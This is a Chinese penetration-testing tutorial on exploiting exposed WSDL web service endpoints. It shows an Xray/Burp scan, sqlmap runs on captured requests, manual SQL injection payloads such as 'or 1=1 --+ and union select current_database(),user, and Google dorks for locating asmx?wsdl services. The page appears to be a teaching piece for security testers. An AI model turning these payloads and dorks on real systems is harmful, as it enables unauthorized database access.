WSDL接口利用

admin 2024年12月24日11:01:58评论2 views字数 899阅读2分59秒阅读模式

 

WSDL接口介绍

  • WSDL(Web Services Description Language)即网络服务描述语言,用于描述Web服务的公共接口。这是一个基于XML的关于如何与Web服务通讯和使用的服务描述;也就是描述与目录中列出的Web服务进行交互时需要绑定的协议和信息格式。通常采用抽象语言描述该服务支持的操作和信息,使用的时候再将实际的网络协议和信息格式绑定给该服务。

WSDL接口管理页面特征

WSDL接口利用

利用思路

Burp+Xray

  • xray与Burp联动,进行被动扫描
xray.exe webscan --listen 127.0.0.1:7777 --html-output 1.html

WSDL接口利用

WSDL接口利用

WSDL接口利用

Burp插件-Wsdler+sqlmap

  • 插件下载:直接商城下载

WSDL接口利用

  • 访问http://xxx.yyy.asmx?wsdl,使用burp抓取数据包,右击选择使用WSDL插件

WSDL接口利用

  • 然后在Wsdler查看泄露接口

WSDL接口利用

  • 复制请求数据包为txt格式,用sqlmap测试

WSDL接口利用

sqlmap.py -r 1.txt

WSDL接口利用

Burp插件-Wsdler+手工测试(sql注入)

  • 对尖括号里面能输入的地方进行修改发包
  • 访问http://xxx.yyy.asmx?wsdl,使用burp抓取数据包,右击选择使用WSDL插件

WSDL接口利用

  • 在Wsdler查看泄露接口

WSDL接口利用

  • 将数据包发送到Repeater中,手动改包,然后重放
  • 可以使用以下语句判断是否存在SQL注入
'or 1=1 --+
'or 1=2 --+

WSDL接口利用

WSDL接口利用

  • 判断字段数
'or 1=1 order by 2--+
'or 1=1 order by 3--+

WSDL接口利用

WSDL接口利用

  • 查询当前用户和数据库
' union select current_database(),user-- 

WSDL接口利用

拓展

  • 可以使用google语法搜索特定后缀去找webservice地址,asmxwebservice服务程序的后缀名
site:xxx.com inurl:asmx?wsdl
site:xxx.com inurl:.php?wsdl
site:xxx.com inurl:.ashx?wsdl

WSDL接口利用

- source:securepulse.website

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月24日11:01:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   WSDL接口利用https://cn-sec.com/archives/3545144.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息